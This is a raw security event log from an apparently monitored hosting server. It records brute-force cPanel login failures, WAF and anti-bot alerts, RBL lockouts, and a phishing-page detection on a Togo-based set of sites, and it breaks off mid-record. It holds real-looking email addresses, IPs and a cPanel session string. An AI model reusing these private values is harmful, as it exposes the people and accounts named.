103.108.92.88 - - [17/Jun/2026:22:31:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.62.155.23
country_id: 3469034
description:
[2026-06-17 22:32:09 +0000] info [cpaneld] 187.62.155.23 - np "GET /login/?login_only=1&user=np&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user np (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.238.130.239
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1777418332 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 83.97.118.177
country_id: 6252001
description:
83.97.118.177 - - [17/Jun/2026:22:34:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985619&pdata=https%253A%252F%252Fcafe.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781735639 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:83.97.118.177


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:22:36:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7261382&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781735772 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 3.145.88.17
country_id: 6252001
description:
[2026-06-17 22:35:32 +0000] info [whostmgrd] 3.145.88.17 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 3.145.88.17
country_id: 6252001
description:
[2026-06-17 22:35:35 +0000] info [whostmgrd] 3.145.88.17 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.255.111.6
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/477272486 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.209.220.92
country_id: 2287781
description:
102.209.220.92 - - [17/Jun/2026:22:39:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10118807&pdata=https%253A%252F%252F24heureinfo.tg%252Feducation%252Fkara-un-nouveau-batiment-a-lepp-sedina-grace-au-dr-tidjani-sakari%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781735978 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/education/kara-un-nouveau-batiment-a-lepp-sedina-grace-au-dr-tidjani-sakari/" "Mozilla/5.0 (iPhone; CPU iPhone OS 26_3_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/149.0.7827.137 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.209.220.92


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.212.215.42
country_id: 3617476
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/9c9ba5 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 131.196.246.180
country_id: 3996063
description:
[2026-06-17 22:44:15 +0000] info [cpaneld] 131.196.246.180 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.115.74.207
country_id: 2542007
description:
[2026-06-17 22:45:11 +0000] info [cpaneld] 196.115.74.207 - davakcon "GET /login/?login_only=1&user=davakcon&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davakcon (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.17.71.166
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/706657288 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.77.130.84
country_id: 174982
description:
[2026-06-17 22:44:33 +0000] info [cpaneld] 5.77.130.84 - jcdcon "GET /login/?login_only=1&user=jcdcon&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user jcdcon (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.4.252.230
country_id: 3865483
description:
[2026-06-17 22:44:39 +0000] info [cpaneld] 45.4.252.230 - jcdco "GET /login/?login_only=1&user=jcdco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user jcdco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.70.152.199
country_id: 298795
description:
[2026-06-17 22:45:16 +0000] info [cpaneld] 95.70.152.199 - davakc "GET /login/?login_only=1&user=davakc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davakc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.209.206.177
country_id: 2921044
description:
[2026-06-17 22:44:53 +0000] info [cpaneld] 92.209.206.177 - jc "GET /login/?login_only=1&user=jc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user jc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 131.72.192.174
country_id: 3469034
description:
[2026-06-17 22:45:00 +0000] info [cpaneld] 131.72.192.174 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.228.192.211
country_id: 3996063
description:
[2026-06-17 22:45:12 +0000] info [cpaneld] 177.228.192.211 - davakco "GET /login/?login_only=1&user=davakco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davakco (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 17 22:46:17 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:22:47:11 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.21
country_id: 690791
description:
Jun 17 22:47:17 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:22:47:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.21
country_id: 690791
description:
Jun 17 22:47:24 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:22:50:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791684&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781736597 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:22:50:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737878&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781736598 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 185.16.38.36
country_id: 798544
description:
[2026-06-17 22:51:07 +0000] info [whostmgrd] 185.16.38.36 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.191.149.247
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221201-WA0049.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221201-WA0049-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221201-WA0049-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221201-WA0049-272x182.jpg 272w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.16.38.36
country_id: 798544
description:
[2026-06-17 22:51:08 +0000] info [whostmgrd] 185.16.38.36 - root "GET /cpsess5841377739/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 73.164.91.10
country_id: 6252001
description:
73.164.91.10 - - [17/Jun/2026:22:51:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6581655&pdata=https%253A%252F%252Fsoeurndetogo.com%252Fau-revoir-au-pere-charles%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781736664 HTTP/2.0" 302 0 soeurndetogo.com "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16_0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:73.164.91.10


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:22:53:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6449301&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781736796 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.19.13.149
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/726560 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.146.115.79
country_id: 587116
description:
185.146.115.79 - - [17/Jun/2026:22:54:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6841290&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F04%252F29%252Ffaits-divers-le-sg-de-la-prefecture-dagoe-nyive-m-kazandou-essohana-joseph-eleve-au-rang-de-chevalier-de-lordre-national-du-merite%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781736868 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/04/29/faits-divers-le-sg-de-la-prefecture-dagoe-nyive-m-kazandou-essohana-joseph-eleve-au-rang-de-chevalier-de-lordre-national-du-merite/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.3503.1044 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.146.115.79


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.81.114.93
country_id: 6252001
domain: cafe.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/145.0.7632.0 Safari/537.36||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.116.242.211
country_id: 1269750
description:
[2026-06-17 22:58:14 +0000] info [cpaneld] 66.116.242.211 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.133.201.244
country_id: 1210997
description:
[2026-06-17 22:59:16 +0000] info [cpaneld] 103.133.201.244 - togoa "GET /login/?login_only=1&user=togoa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.95.128.189
country_id: 3686110
description:
[2026-06-17 22:59:05 +0000] info [cpaneld] 191.95.128.189 - togofeedtg "GET /login/?login_only=1&user=togofeedtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofeedtg (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.188.234.250
country_id: 3703430
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/2089362372 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.239.238.27
country_id: 99237
description:
[2026-06-17 22:58:58 +0000] info [cpaneld] 37.239.238.27 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.147.67.249
country_id: 285570
description:
[2026-06-17 22:59:03 +0000] info [cpaneld] 149.147.67.249 - togoathletismetg "GET /login/?login_only=1&user=togoathletismetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoathletismetg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.148
country_id: 3469034
description:
Jun 17 22:59:07 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.148 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.225.134.15
country_id: 6254930
description:
[2026-06-17 22:59:02 +0000] info [cpaneld] 188.225.134.15 - togofeed "GET /login/?login_only=1&user=togofeed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofeed (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.171.58
country_id: 2363686
description:
[2026-06-17 22:58:46 +0000] info [webmaild] 102.64.171.58 - kagbekoh@davakconsulting.com "POST /cpsess8847053482/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.171.122.34] != Current IP Address [102.64.171.58]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.78.9.203
country_id: 2017370
description:
[2026-06-17 22:58:54 +0000] info [cpaneld] 178.78.9.203 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.138.175.62
country_id: 2017370
description:
[2026-06-17 22:59:19 +0000] info [cpaneld] 46.138.175.62 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.251.15.42
country_id: 2542007
description:
[2026-06-17 22:59:09 +0000] info [cpaneld] 41.251.15.42 - togofee "GET /login/?login_only=1&user=togofee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.71.169.17
country_id: 3469034
description:
[2026-06-17 22:59:23 +0000] info [cpaneld] 201.71.169.17 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.223
country_id: 6252001
description:
[2026-06-17 23:01:47 +0000] info [cpaneld] 64.44.62.223 NEW cinemafreenetmas:mPaauFb3MPiE1ckA address=64.44.62.223,app=cpaneld,creator=cinemafreenetmas,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.59.166
country_id: 6252001
domain: cinema.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cinemafreenetmas/public_html/.618294308216184.php||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 200.53.37.58
country_id: 3996063
description:
2026-06-17 23:01:59 H=([200.53.37.58]) [200.53.37.58]:57833 F=<John@4452.com> rejected RCPT <info@cndh-togo.org>: Sender verify failed


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:23:02:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.149.1.10
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221201-WA0048.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221201-WA0048-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221201-WA0048-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221201-WA0048-272x182.jpg 272w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:23:02:45 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:02:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:02:47 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:23:03:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050901&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781737413 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:03:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739117&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781737416 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 47.251.127.247
country_id: 6252001
description:
Jun 17 23:07:00 ns5 pure-ftpd[2350527]: (?@47.251.127.247) [INFO] New connection from 47.251.127.247


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:07:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116441&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781737640 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:23:07:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923433&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781737639 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.39.211.221
country_id: 3469034
description:
2026-06-17 23:10:06 dovecot_login authenticator failed for H=(WHdZzE) [177.39.211.221]:43120: 535 Incorrect authentication data (set_id=kitantoine@atms.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.182
country_id: 1880251
description:
47.128.96.182 - - [17/Jun/2026:23:14:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263400&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbruit-eleve-des-eglises%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781738043 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bruit-eleve-des-eglises/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.182


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.160.196.158
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/a58567 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.192.203.55
country_id: 357994
domain: misstogo.tg
description:
